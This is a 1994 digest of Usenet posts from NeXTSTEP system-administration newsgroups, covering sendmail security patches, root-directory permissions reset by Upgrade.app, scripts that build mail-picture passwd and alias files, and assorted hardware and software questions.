Subject: Re: Security holes in NeXT UUCP/Sendmail?
Date: 17 Feb 1994 02:30:59 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <2jukt3$5m8@agate.berkeley.edu>
References: <westesCLCGpL.Hvu@netcom.com>
In article <westesCLCGpL.Hvu@netcom.com> westes@netcom.com (Will Estes) writes:
>Are there any security holes in NeXT FIP 3.2's UUCP, SMTP, or sendmail
>that should be closed before putting a system onto the net?
I don't know if 3.2's sendmail (NX5.67d) has any security hole, but
they have placed a slightly modified version as a patch on ftp.next.com
(see ..../Patches directory there). The patch contains a replacement
FAT sendmail executable (NX5.67e) that works on both Moto and Intel
machines. Quoting from ReadMe file:
" .. Two versions of sendmail are provided with NEXTSTEP Release 3.1 and
3.2: sendmail (version 5.67) and sendmail.old (version 5.52). Late
last year, the Computer Emergency Response Team (CERT) identified
a handful of security problems with NeXT's versions of sendmail.
These problems are described in CERT Advisories CA-93: 16 and CA-93:
16A. SendmailPatch.pkg contains copies of sendmail and sendmail.old
that fix these security problems. .."
Also, sendmail 8.6.5 is also available from ftp.cs.berkeley.edu
in directory ucb/sendmail. This will compile fine on 3.x systems.
Just make sure that you delete the "-O" option in Makefile.NeXT.
To make new sendmail.cf files, you will need a more recent 'm4'
macro processor. The one shipped with 3.2 is too old.
--
Izumi Ohzawa [ $@Bg_78^=;(J ]
USMail: University of California, 360 Minor Hall, Berkeley, CA 94720
Telephone: (510) 642-6440 Fax: (510) 642-3323
Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
Newsgroups: comp.sys.next.misc,de.comp.sys.next,comp.sys.next.sysadmin
From: Rene Kulschewski <rene@rkt.in-berlin.de>
Subject: "mkpassalia" script
Message-ID: <CLC8JK.53C@rkt.in-berlin.de>
Sender: news@rkt.in-berlin.de (News System)
Organization: Home in Berlin
Date: Wed, 16 Feb 1994 22:16:32 GMT
Hi *,
could anybody mail me the "mkpassalia" script from Faces-v.3 ??
I lost mine somewhere ...
Thanx
Rene
--
__________________________________________________________________
Ren Kulschewski <rene@rkt.in-berlin.de>
NeXTMail accepted.
-- NewsGrazer, a NeXTstep(tm) news reader, posting --
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M>#$Q-3)<='@R,S`T7'1X,S0U-EQT>#0V,#A<='@U-S8P7'1X-CDQ,EQT>#@P
M-C1<='@Y,C$V7'1X,3`S-CA<='@Q,34R,%QF,%QB,%QI,%QU;&YO;F5<9G,R
M-%QF8S!<8V8P($AI("HL7`I<"F-O=6QD(&%N>6)O9'D@;6%I;"!M92!T:&4@
M(FUK<&%S<V%L:6$B('-C<FEP="!F<F]M($9A8V5S+78N,R`_/UP*22!L;W-T
M(&UI;F4@<V]M97=H97)E("XN+EP*7`I4:&%N>%P*4F5N95P*+2U<"@I<<&%R
M9%QT>#4R,%QT>#$P-C!<='@Q-C`P7'1X,C$R,%QT>#(V-C!<='@S,C`P7'1X
M,S<R,%QT>#0R-C!<='@T.#`P7'1X-3,R,%QF,5QB7&E<9F,P7&-F,"!?7U]?
M7U]?7U]?7U]?7U]?7U]?7U]?7U]?7U]?7U]?7U]?7U]?7U]?7U]?7U]?7U]?
M7U]?7U]?7U]?7U]?7U]?7U]<"@I<:3`@4F5NW2!+=6QS8VAE=W-K:2`@("`@
M("`@("`@("`@/')E;F5`<FMT+FEN+6)E<FQI;BYD93X@("`@("`@("`@("`@
;("`@("`@3F585$UA:6P@86-C97!T960N"GT*
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Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin,comp.sys.next.misc
From: Michael_Pizolato@afs.com (Michael Pizolato)
Subject: FAT c-news?
Message-ID: <1994Feb16.165345.2829@afs.com>
Followup-To: comp.sys.next.software
Sender: Michael_Pizolato@afs.com
Date: Wed, 16 Feb 1994 16:53:45 GMT
Regarding the MAB NewsGrazer that is now available: Does anyone know if
c-news compiles successfully fat? Has anyone done it? What version of
c-news? Is source available?
Thanx,
Michael
--
Michael_Pizolato@afs.com
NeXTMail accepted
From: gt6963c@prism.gatech.EDU (John (kzin) Rudd)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
Subject: Installing Serial Ports
Keywords: mux driver, serial, ns/intel
Message-ID: <139448@hydra.gatech.EDU>
Date: 17 Feb 94 02:59:14 GMT
Sender: news@prism.gatech.EDU
Followup-To: comp.sys.next.sysadmin
I picked up the MUX serial driver off of ftp.uni-stuttgart.de,
and installed it under NS/Intel. The Configure app worked just
fine, but I don't see any new devices in /dev..
So... what do I need to do?
I'm trying to set up a way to use my internal modem for dialing
out.. Either using tip or some terminal program (is there something
avaible for free?).. and I'd eventually like to use it for SLIP.
John
--
John "Kzin" Rudd gt6963c@prism.gatech.edu (ex-kzin@cc.gatech.edu)
===========Intel: Putting the backward in backward compatable.==============
DOOM ON YOU!
Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: Mail Pictures
Message-ID: <1994Feb17.065043.13452@seer.demon.co.uk>
Sender: paul@seer.demon.co.uk
Organization: P & L Systems
References: <2ju8rd$rf@theborg.stack.urc.tue.nl>
Date: Thu, 17 Feb 1994 06:50:43 GMT
In article <2ju8rd$rf@theborg.stack.urc.tue.nl>
annard@theborg.stack.urc.tue.nl (Annard Brouwer) writes:
> In article <9402151813.AA06726@dcs.shef.ac.uk> M.Crawford@dcs.shef.ac.uk
> (Malcolm Crawford) writes:
> <stuff deleted here and there>
> > add "bogus" user names to the passwd file in
> > /LocalLibrary/Images/People/ which you created by running mailDBupdate
> > of the form:
> > m.crawford@dcs.shef.ac.uk::::::/bin/csh
> > and add apropriately-named icons, e.g
> > m.crawford@dcs.shef.ac.uk.tiff
> > (use all-lower-case throughout).
> >
> > I suspect you will run into problems if you have set up a cron job to
> > run mailDBupdate since this overwrites the passwd file... I'm not sure
> > what's the best way of getting round this; some solutions may have
> > security problems...?!
>
> I believe you shouldn't use the "@"'s and please note that the password
file
> isn't used for anything but creating a link from an account to an icon,
it is
> not used by Unix and normally NetInfo keeps this information in a
comletely
> different format in a completely different place! So don't bother about
writing
> over this file...
The @'s are necessary. It is a NewsGrazer icon alias that replaces '@'
with '.'.
THe problem is that you need to keep updating the passwd and aliases file
from NetInfo, to allow for changes in your user population. But external
mail pictures should be included in the new passwd file, and mailDBupdate
will remove these every time.
The solution is to keep these is a separate file, and use a script to
append this to the mailDBupdate produced script.
Paul
--
Paul Lynch
P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
Newsgroups: comp.sys.next.sysadmin
From: westes@netcom.com (Will Estes)
Subject: Source for NeXT rmail?
Message-ID: <westesCLCLuw.3BF@netcom.com>
Organization: Mail Group
Date: Thu, 17 Feb 1994 03:04:07 GMT
Where can I obtain source code for NeXT FIP 3.2's rmail? If that is
not available, will any rmail do, or is there a specific one that I
need to look for? If you know a source for it, I would appreciate
a pointer.
--
Will Estes Internet: westes@netcom.com
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Mail Pictures
Date: 17 Feb 1994 08:33:10 -0000
Organization: me organized? That's a joke!
Message-ID: <2jva46$165@steffi.demon.co.uk>
References: <2ju8rd$rf@theborg.stack.urc.tue.nl> <1994Feb17.065043.13452@seer.demon.co.uk>
TWO Questions.
1. Why did NG require things to be different originally.
2. _jayson, are you standardizing this with NGPro?
--
"You know what's wrong with you?" (Audrey Hepburn, Cary Grant)
"No, what?"
"Nothing" (Charade, 1963)
(ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.mail.sendmail,comp.sys.next.sysadmin
Subject: alias problems?
Date: 17 Feb 1994 10:49:49 -0000
Organization: me organized? That's a joke!
Message-ID: <2jvi4d$k6@steffi.demon.co.uk>
I'm running sendmail 8.6.5. on a NeXT under NS3.1
I currently have a mail alias set up for a mailing list.
When I attempt to address this list I get the following error message.
The original message was received at Thu, 17 Feb 1994 09:58:44 GMT
from robert@localhost
----- The following addresses had delivery problems -----
"|IFS=' ';exec /Users/robert/list/.bin/flist RTFusers" (unrecoverable
error)
(expanded from: rtfusers)
----- Transcript of session follows -----
sh: /users/robert/list/.bin/flist: not found
554 "|IFS=' ';exec /Users/robert/list/.bin/flist RTFusers"... unknown
mailer err
or 1
NOTE: sh; /users/robert/list/.bin/flist
Why is that "users" and not "Users"
My aliases entry is correct.
----
WARNING: I switched back to NeXT's supplied sendmail after having this
problem. I had an outgoing queue of about 30 messages. Well NeXT's
sendmail doesn't understand $_ (Ident) in the envelope so it proceded to
delete all of those outgoing messages.
--
"You know what's wrong with you?" (Audrey Hepburn, Cary Grant)
"No, what?"
"Nothing" (Charade, 1963)
(ASCII for text only messages)
--
"You know what's wrong with you?" (Audrey Hepburn, Cary Grant)
"No, what?"
"Nothing" (Charade, 1963)
(ASCII for text only messages)
From: james@pixel.apana.org.au (James Gardiner [hunter])
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
Subject: Next renderman and netrenderman compatable???
Date: 17 Feb 1994 23:36:06 +1100
Organization: Pixels.. let them dance.
Message-ID: <2jvobm$h5d@pixel.apana.org.au>
We have net-renderman on a SGI machine on our network.
We are getting an intel Nextstep machine up and running.
I know nextstep supports some kind of network rendering but is
it compatable with net-renderman found on the SGI?
If not? why not? What can I do about it?
Has anyone got any suggestions??
Thanks,
James
From: mjl@tick.cslab.tuwien.ac.at (Martin J Laubach)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Mail Pictures
Date: 17 Feb 1994 15:08:05 GMT
Organization: Technical University Vienna, Austria
Message-ID: <2k018l$crb@email.tuwien.ac.at>
References: <2ju8rd$rf@theborg.stack.urc.tue.nl> <1994Feb17.065043.13452@seer.demon.co.uk>
| THe problem is that you need to keep updating the passwd and aliases file
| from NetInfo, to allow for changes in your user population. But external
| mail pictures should be included in the new passwd file, and mailDBupdate
| will remove these every time.
Since our /LocalLibrary is on a non-NeXT machine, I came up with the
following shell script to generate a dummy passwd file.
#!/bin/csh
echo > passwd
foreach n (*.tiff)
echo "${n:r}::::::" >> passwd
end
Pretty trivial. And it even works :)
mjl
From: gco@cs.stir.ac.uk (Graham Cochrane)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Security Issue: Check your systems
Date: 17 Feb 1994 16:12:39 GMT
Organization: Computing Science Department, Stirling University
Distribution: world
Message-ID: <2k051n$ce0@lorne.stir.ac.uk>
References: <2jscaeINNif6@emory.mathcs.emory.edu> <~*&@byu.edu>
In article <~*&@byu.edu>, pmarc@zapotec.math.byu.edu (Paul Marshall Cardon II) writes:
|> In article <2jscaeINNif6@emory.mathcs.emory.edu>
|> wmorse@erasure-sl.cc.emory.edu (William Morse) writes:
|> > I discovered the default root directory / permissions on NeXTSTEP
|> machines
|> > is the following:
|> >
|> > drwxrwxrwt 14 root 1024 Feb 15 16:23 ./
|> > drwxrwxrwt 14 root 1024 Feb 15 16:23 ../
|> >
|> > The result is that anyone at any time can write to /.
|> >
|> > I believe you should make the default look like:
|> >
|> > drwxr-xr-t 14 root 1024 Feb 15 16:23 ./
|> > drwxr-xr-t 14 root 1024 Feb 15 16:23 ../
|>
|> This is something I changed right away on all of our lab machines last
|> year. The thing that really ticked me off is that Upgrade.app changed the
|> permissions back to world writable when I upgraded to 3.2 so I had to
|> change them again.
When you use Upgrade.app, it gives you the option to `Plan Upgrade' and
then `Review Plan', which allows you to specify that `/' is left as you
had previously set it.
Cheers,
Graham.
Newsgroups: comp.sys.next.sysadmin
From: lorinr@altsys.com (Lorin Rivers III)
Subject: Best way to NeXT Mail binaries
Message-ID: <1994Feb17.162720.19133@altsys.com>
Organization: Altsys Corporation, Richardson, TX
Date: Thu, 17 Feb 1994 16:27:20 GMT
Net-gurus,
I want to distribute my app for beta-testing via NeXT Mail. What will
be the most efficient way to do it? I need to segement it into less
than 1 MB chunks and make it easy to install. Ideally, it'd be as an
Installer .pkg file so people could easily install it as a fat or thin
file. Some developers send their betas as thin binaries and then have
the users merge them. What'd you think?
Thanks in advance!
--
Lorin Rivers Lorin_Rivers@altsys.com
NEXTSTEP Sales Manager 214.680.2060
269 W. Renner Parkway NeXT Mail Expected
Richardson, Texas 75080 I said it, not my boss
From: childc@tosh.cas.american.edu (Craig Child)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: ISDN & PhoneKit and 3.2
Date: 17 Feb 1994 21:04:19 GMT
Organization: The American University Computing Center
Message-ID: <2k0m4j$m7j@paladin.american.edu>
Has anyone here used the Hayes ISDN Extender with phoneKit and 3.2
PhoneKit is not distributed with 3.2. Are there any problems that
I should know about. Are there any third party programs??
Craig
Message-ID: <l+&@byu.edu>
Date: Thu, 17 Feb 94 15:14:00 MST
From: pmarc@zapotec.math.byu.edu (Paul Marshall Cardon II)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Security Issue: Check your systems
References: <2k051n$ce0@lorne.stir.ac.uk>
Distribution: world
In article <2k051n$ce0@lorne.stir.ac.uk> gco@cs.stir.ac.uk (Graham
Cochrane) writes:
> In article <~*&@byu.edu>, pmarc@zapotec.math.byu.edu (Paul Marshall
Cardon II) writes:
> |> In article <2jscaeINNif6@emory.mathcs.emory.edu>
> |> wmorse@erasure-sl.cc.emory.edu (William Morse) writes:
> |> > I discovered the default root directory / permissions on NeXTSTEP
> |> machines
> |> > is the following:
> |> >
> |> > drwxrwxrwt 14 root 1024 Feb 15 16:23 ./
> |> > drwxrwxrwt 14 root 1024 Feb 15 16:23 ../
> |> >
> |> > The result is that anyone at any time can write to /.
> |> >
> |> > I believe you should make the default look like:
> |> >
> |> > drwxr-xr-t 14 root 1024 Feb 15 16:23 ./
> |> > drwxr-xr-t 14 root 1024 Feb 15 16:23 ../
> |>
> |> This is something I changed right away on all of our lab machines
last
> |> year. The thing that really ticked me off is that Upgrade.app changed
the
> |> permissions back to world writable when I upgraded to 3.2 so I had to
> |> change them again.
>
> When you use Upgrade.app, it gives you the option to `Plan Upgrade' and
> then `Review Plan', which allows you to specify that `/' is left as you
> had previously set it.
I did that and it still changed it on me.
Later,
Paul
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
From: fineman@cs.washington.edu (Lucifer Sam)
Subject: Anyone have a proper xmkmf for NS3.2?
Message-ID: <1994Feb18.005654.7065@beaver.cs.washington.edu>
Sender: news@beaver.cs.washington.edu (USENET News System)
Organization: Computer Science & Engineering, U. of Washington, Seattle
Date: Fri, 18 Feb 94 00:56:54 GMT
Subject says it all; i've got Co-Xist, but it didn't come with xmkmf;
does anyone have/know of the proper script file?
thanx
dan
fineman@cs.washington.edu ascii pleeeeze!
Newsgroups: comp.sys.next.sysadmin
From: tom@basil.icce.rug.nl (Tom R.Hageman)
Subject: Re: Mail Pictures
Message-ID: <CLE9M3.1F5@basil.icce.rug.nl>
Sender: daemon@basil.icce.rug.nl
Organization: Lofty Waters
References: <1994Feb17.065043.13452@seer.demon.co.uk>
Date: Fri, 18 Feb 1994 00:34:51 GMT
In article <1994Feb17.065043.13452@seer.demon.co.uk> paul@seer.demon.co.uk
(Paul Lynch) writes:
> > In article <9402151813.AA06726@dcs.shef.ac.uk> M.Crawford@dcs.shef.ac.uk
> > (Malcolm Crawford) writes:
> > > I suspect you will run into problems if you have set up a cron job to
> > > run mailDBupdate since this overwrites the passwd file... I'm not sure
> > > what's the best way of getting round this; some solutions may have
> > > security problems...?!
[munch]
>
> THe problem is that you need to keep updating the passwd and aliases file
> from NetInfo, to allow for changes in your user population. But external
> mail pictures should be included in the new passwd file, and mailDBupdate
> will remove these every time.
>
> The solution is to keep these is a separate file, and use a script to
> append this to the mailDBupdate produced script.
Here is Carl Edman's script to generate the passwd and aliases files from the
picture names in /LocalLibrary/Images/People, slightly modified by yours truly
to run mailDBupdate first.
(It assumes that the picture names are in `NewsGrazer' format, that is,
"joe.foo.edu.tiff" instead of "joe@foo.edu.tiff")
table
!"#$%&'()*+,-./0123456789:;<=>?
@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_
begin 644 mkpassalias.Z
M'YV0(T*\$)/&S8LY:!2,6,BPH<.'$"-*G$BQX@B%"D$82<.FC X0($.&;+,&z
M3I@Y<\*P27,R(Y$R<\;(20.'3IHW;CZ"" (BYLR:'>F H/,&1)@Z1-N$L3E&y
M)9L\(.K (;.TS% T5DVBO$/&J)NN*EG.@9E1I%FS9CC"!%'PJM473-XT9<,Dx
MC1@Y8>3D>9%$Z1F8+Z"4>0.G(P@R:>24&4-4KXN,09"B>2-'I]DA>=F *$)&w
MJ9N,0Q17)6,Y))4Z5I6$<0/R!H@8.'3$N*%#1H[7.7+(R-CD#>*T94B;G=W"v
M2!DQ+7+08 &"RILV()"$^>L91(L6(.348:V4(Q$A4JG2L9I6SARA9BB#8"-7u
M9=2QYA^/ ,%D]9DZTSV:'5CP8,*+%@4HX( $-J0 $4E(T0-<[=%E%UYZ\>47t
M8((1UI$"8W1% H)2@, ''R"4@4<:0L6@P MUS"$'?P9UQ\9WX55E75$;)G@Bs
M00:Q,8=U,7@(PAF*P0'""5RX8),99I!P@H]C=77"'"\8F0:2)+SPP@X@H($Er
ME$6^ ,25"H"P5Q!"#$%$$48<@4022BS!1!-./ %%%%),04455ER!119:O!"&q
M&!F68<89:*2AQAILM.$&87&81T<==MR!1QYZ7 G"$5N^P(5!'[VPI \^A'42p
M62R^H".//@)9AI!$2DGEDB V.224KB;Y@@ZRP: K#+BZH,.B")7!!AM7?NJ#o
5G-PE9%/- E5QE=S* #En
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end
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__/__/__/ "...to baldly go where no man has gone before."
__/ _/_/ -- star trek TNG
From: gisli@timoshenko.eecs.umich.edu (Gisli Ottarsson)
Newsgroups: comp.sys.next.sysadmin
Subject: Shell commands to eject floppy???
Date: 18 Feb 1994 02:47:47 GMT
Organization: University of Michigan
Distribution: world
Message-ID: <GISLI.94Feb17214749@timoshenko.eecs.umich.edu>
I am looking for shell commands to eject the floppy disk.
As far as I can see, I need something like:
% /usr/etc/umount /whatever
% /usr/etc/disk -e /dev/rfd0b
The problem is that umount doesn't work for me except
as superuser. Could someone tell me how to go about this.
Gisli
--
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Gisli Ottarsson
Grad Student and a Gentleman
Delenda est Carthago.
University of Michigan
gisli@umich.edu
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Newsgroups: comp.sys.next.sysadmin
From: vb@ediscope.fdn.org (Vincent Borghi)
Subject: Help needed: workspace's " File Viewer" very long to appear
Message-ID: <1994Feb17.114454.533@ediscope.fdn.org>
Sender: vb@ediscope.fdn.org
Organization: V.BORGHI/Freelance Tech Writer/38580 Allevard/FRANCE
Date: Thu, 17 Feb 1994 11:44:54 GMT
Good morning|afternoon|etc, and apologies for my poor english,
--- My configuration:
I run *NS 2.2* on my standalone NeXTstation turbocolor.
--- My problem:
After the login, I have to wait as long as 50 secondes before the
"File Viewer" of the Workspace appears.
Just after the login, the dock appears normally, and my autostart apps
start also normally (I can even execute commands in my terminal app),
but the File Viewer makes me impatient.
--- Notes:
- This comportment occurs systematically every time I log in. It is new
(in the old happy days, the file viewer went with no delay).
- When I log in as another user (e.g. root), there is no problem, all is OK<.
- The console displays no special message, only the normal
"Workspace[120]: ...Ready" one.
- No problem at boot time, only at login time.
- I suspect (but I have no good reason for that) the various files
of my $HOME/.NeXT directory to be possibly the origin of the problem
(anyway, I have no documentation about this topic and I do not know the
exact role of the files ".NeXTdefaults.*" and "*.wmd").
- It seems this problem is not a FAQ.
---- So...
What can cause the File Viewer to be long to appear?
Thanks, et au revoir,
--
Vincent BORGHI (Freelance Technical Writer)
41, avenue de Savoie Phone: (+33) 76 97 58 78
38580 ALLEVARD Email: vb@ediscope.fdn.org
FRANCE NeXT mail accepted
Newsgroups: comp.sys.next.misc,de.comp.sys.next,comp.sys.next.sysadmin
From: cedman@princeton.edu (Carl Edman)
Subject: Re: "mkpassalia" script
In-Reply-To: Rene Kulschewski's message of Wed, 16 Feb 1994 22:16:32 GMT
To: Rene Kulschewski <rene@rkt.in-berlin.de>
Message-ID: <CEDMAN.94Feb17081500@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <CLC8JK.53C@rkt.in-berlin.de>
Date: Thu, 17 Feb 1994 13:14:59 GMT
In article <CLC8JK.53C@rkt.in-berlin.de> Rene Kulschewski <rene@rkt.in-berlin.de> writes:
could anybody mail me the "mkpassalia" script from Faces-v.3 ??
I lost mine somewhere ...
I'll do even better -- it is short enough for posting and may be
useful to more people. If you put it in your /usr/adm/daily script,
make sure you run it after /usr/bin/mailDBupdate which clobbers the
files.
Carl Edman
#!/bin/sh
#
# File: mkpassalia
# Description: A scriptlet to automatically update the passwd and aliases
# files in the /LocalLibrary/Images/People directory.
# Author: Carl Edman
# Created: Tue Jan 7 18:17:29 1992
# Modified: Sat Jun 12 08:51:54 1993 (Carl Edman) cedman@princeton.edu
# Language: /bin/sh
#
###############################################################################
cd /LocalLibrary/Images/People
echo "# Image aliases" >>aliases
/bin/ls -1 | grep '\.tiff$' | sed 's/.tiff$//; h; s/\./@/; y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/; G; s/\n/: /' >>aliases
echo "# Image passwds" >>passwd
/bin/ls -1 | grep '\.tiff$' | sed 's/.tiff$/::10000::.:noshell/;' >>passwd
From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NeXT front end to dump/restore?
Date: 17 Feb 1994 21:26:12 +0100
Organization: Palumbian Research Labs
Message-ID: <2k0jt4$103@marsu.tynet.sub.org>
References: <S.A.MCINTYRE.94Feb14120044@shrug.dur.ac.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
"Scott A. McIntyre" <S.A.McIntyre@durham.ac.uk> writes:
>I'm looking for the front end more for the dump; I use DAT and know
>that there are some strange numbers you need to give dump to get it to
>work right on a DAT drive...
dump 0ufs /dev/rst0 1200000 /dev/rsd0a
is probably the "front end" you're looking for.
--
Markus Wenzel System administration, Consulting, Networking
mow@marsu.tynet.sub.org on... NeXTSTEP / Unix / Novell / Windows NT
IRC: Marsu Veni, vidi, NeXTSTEPi.
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
From: wave@media.mit.edu (Michael B. Johnson)
Subject: Re: Next renderman and netrenderman compatable???
Message-ID: <1994Feb17.171957.11773@news.media.mit.edu>
Sender: news@news.media.mit.edu (USENET News System)
Organization: MIT Media Laboratory
References: <2jvobm$h5d@pixel.apana.org.au>
Date: Thu, 17 Feb 1994 17:19:57 GMT
In article <2jvobm$h5d@pixel.apana.org.au> james@pixel.apana.org.au (James Gardiner [hunter]) writes:
>>
>>We have net-renderman on a SGI machine on our network.
>>We are getting an intel Nextstep machine up and running.
>>
>>I know nextstep supports some kind of network rendering but is
>>it compatable with net-renderman found on the SGI?
>>
>>If not? why not? What can I do about it?
>>
>>Has anyone got any suggestions??
>>
The prman that shipped with NeXTSTEP 3.x thus far does not, to my knowledge,
support networked rendering in Pixar's netRenderMan sense of the word.
When I looked into this issue in the summer (having NeXTs in the middle of
a bunch of other kinds of machines running RenderMan) I discovered a
few bugs with interoperation, which were reported to Pixar and NeXT and
were fixed for 3.2 (light handles, "int" vs "integer" in the client library,
etc.). Part of the problem was the fact that I was the first (you might
be the second) person to be trying to integrate NeXTs and SGIs happily
together.
NeXT needs to ship the nrmserver, nrmcontrol, etc. stuff for networked
rendering to work right. They also need to ship the rest of the RenderMan
developer tools (most noticeably catrib).
I still don't know why they haven't. I've asked, but nobody has ever
given my an answer. Maybe if more people ask...
--
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--> MIT Media Lab -- Computer Graphics & Animation Group
--> 20 Ames St. E15-023G -- (617) 547-0563 (day office)
--> Cambridge, MA 02139 -- (617) 253-0663 (night office)
From: gco@cs.stir.ac.uk (Graham Cochrane)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Security Issue: Check your systems
Date: 18 Feb 1994 13:58:46 GMT
Organization: Computing Science Department, Stirling University
Distribution: world
Message-ID: <2k2hin$7go@lorne.stir.ac.uk>
References: <2k051n$ce0@lorne.stir.ac.uk> <l+&@byu.edu>
In article <l+&@byu.edu>, pmarc@zapotec.math.byu.edu (Paul Marshall Cardon II) writes:
|> > When you use Upgrade.app, it gives you the option to `Plan Upgrade' and
|> > then `Review Plan', which allows you to specify that `/' is left as you
|> > had previously set it.
|>
|> I did that and it still changed it on me.
Open mouth, insert foot!! Yes, you're right, even though Upgrade.app
gives you the option to leave this alone, it does indeed still modify
it! Great!!
Apologies for any mis-info.
Cheers,
Graham.
Newsgroups: comp.sys.next.sysadmin
From: Robert La Ferla <Robert_La_Ferla@hot.com>
Subject: sendmail 8.6.6 (Re: Security holes in NeXT UUCP/Sendmail?)
Message-ID: <1994Feb17.200045.2159@hot.com>
Sender: robertl@hot.com
Organization: Hot Technologies
References: <2jukt3$5m8@agate.berkeley.edu>
Date: Thu, 17 Feb 1994 20:00:45 GMT
I just want to add that I have successfully ported sendmail 8.6.6
(beta) *with* the user database (for outgoing aliases) *and* -O
optimization *and* the new m4 *and* Berkeley DB 1.73 to NEXTSTEP 3.2.
This new version of sendmail is more secure, is easier to configure
and works great.
When the official 8.6.6 release comes out, I will make my port
available. It is my hope that NeXT will take this and put it in the
next release.
I would also like to see NeXT bundle the new Berkeley DB and Taylor
UUCP. Let NeXT know that you want up-to-date UNIX software. I've
done the work; All they need to do is ship it and support it.
Robert La Ferla
Hot Technologies
NEXTSTEP ISV and Consulting
In article <2jukt3$5m8@agate.berkeley.edu> izumi@pinoko.berkeley.edu
(Izumi Ohzawa) writes:
> In article <westesCLCGpL.Hvu@netcom.com> westes@netcom.com (Will
Estes) writes:
> >Are there any security holes in NeXT FIP 3.2's UUCP, SMTP, or
sendmail
> >that should be closed before putting a system onto the net?
>
> I don't know if 3.2's sendmail (NX5.67d) has any security hole, but
> they have placed a slightly modified version as a patch on
ftp.next.com
> (see ..../Patches directory there). The patch contains a
replacement
> FAT sendmail executable (NX5.67e) that works on both Moto and Intel
> machines. Quoting from ReadMe file:
>
> " .. Two versions of sendmail are provided with NEXTSTEP Release
3.1 and
> 3.2: sendmail (version 5.67) and sendmail.old (version 5.52). Late
> last year, the Computer Emergency Response Team (CERT) identified
> a handful of security problems with NeXT's versions of sendmail.
> These problems are described in CERT Advisories CA-93: 16 and
CA-93:
> 16A. SendmailPatch.pkg contains copies of sendmail and
sendmail.old
> that fix these security problems. .."
>
>
> Also, sendmail 8.6.5 is also available from ftp.cs.berkeley.edu
> in directory ucb/sendmail. This will compile fine on 3.x systems.
> Just make sure that you delete the "-O" option in Makefile.NeXT.
> To make new sendmail.cf files, you will need a more recent 'm4'
> macro processor. The one shipped with 3.2 is too old.
>
> --
> Izumi Ohzawa [ $@Bg_78^=;(J ]
> USMail: University of California, 360 Minor Hall, Berkeley, CA
94720
> Telephone: (510) 642-6440 Fax: (510) 642-3323
> Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
From: rainer@wifzack (Rainer Staringer)
Newsgroups: comp.sys.next.sysadmin
Subject: EATA timeout?
Date: 18 Feb 1994 15:37:51 GMT
Organization: none
Message-ID: <2k2ncf$9k3@osiris.wu-wien.ac.at>
I have a DPT2022/90 card and DEC RZ26B 1GB drive in a DEC MTE PC
running NS3.2. Time and again I get the error message 'EATA timeout'
on the console, followed by 'Resetting SCSI bus' and other SCSI
related error messages. The system then hangs. This happens most often
when booting, before the date is displayed and the file system is
checked, but after the device configuration. I never get an error
when booting DOS. I tried various alternatives for the termination
of the SCSI bus (active/passive) but to no avail.
Does this problem sound familiar to anyone? Thanks for any info!
Rainer
--
Rainer Staringer | rainer@fml.tuwien.ac.at
Financial Markets Lab, TU Vienna | +43 (1) 58801/8138
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Security Issue: Check your systems
Date: 18 Feb 1994 15:00:29 -0000
Organization: me organized? That's a joke!
Message-ID: <2k2l6d$17i@steffi.demon.co.uk>
References: <2k051n$ce0@lorne.stir.ac.uk> <l+&@byu.edu> <2k2hin$7go@lorne.stir.ac.uk>
gco@cs.stir.ac.uk wrote in comp.sys.next.sysadmin
>Open mouth, insert foot!! Yes, you're right, even though Upgrade.app
>gives you the option to leave this alone, it does indeed still modify
>it! Great!!
>
>Apologies for any mis-info.
>
>Cheers,
>
>Graham.
I think the less to be learnt here is not to use Upgrade app. Do a
complete reinstall.
--
"You know what's wrong with you?" (Audrey Hepburn, Cary Grant)
"No, what?"
"Nothing" (Charade, 1963)
(ASCII for text only messages)
Newsgroups: comp.sys.next.sysadmin
From: kiwi@belly.in-berlin.de (Axel Habermann)
Subject: Re: tar / gnutar ? Has anyone experienced these bugs?
Message-ID: <CLEuE9.DD1@belly.in-berlin.de>
Sender: usenet@belly.in-berlin.de
Organization: - none -
References: <1994Feb15.001856.28239@news.lrz-muenchen.de>
Date: Fri, 18 Feb 1994 08:03:44 GMT
Hi everyone!
Sure gnutar1.11-2 is a wonderful replacement for tar but...
it crashes when used in gnu-incremental (--listed-incremental) mode on
filenames longer than 100 characters. Another problem exists while
handling filenames with special characters (e.g. german umlauts).
Has anyone else experienced this?
Is it a problem for you?
I submitted a bug report to gnu but got no response. So I fixed it
myself. If you need the fixed version - mail me.
--
Axel Habermann \\|// "Wenn Du nicht
kiwi@belly.in-berlin.de (NeXT-Mail) )o o( weisst was Du
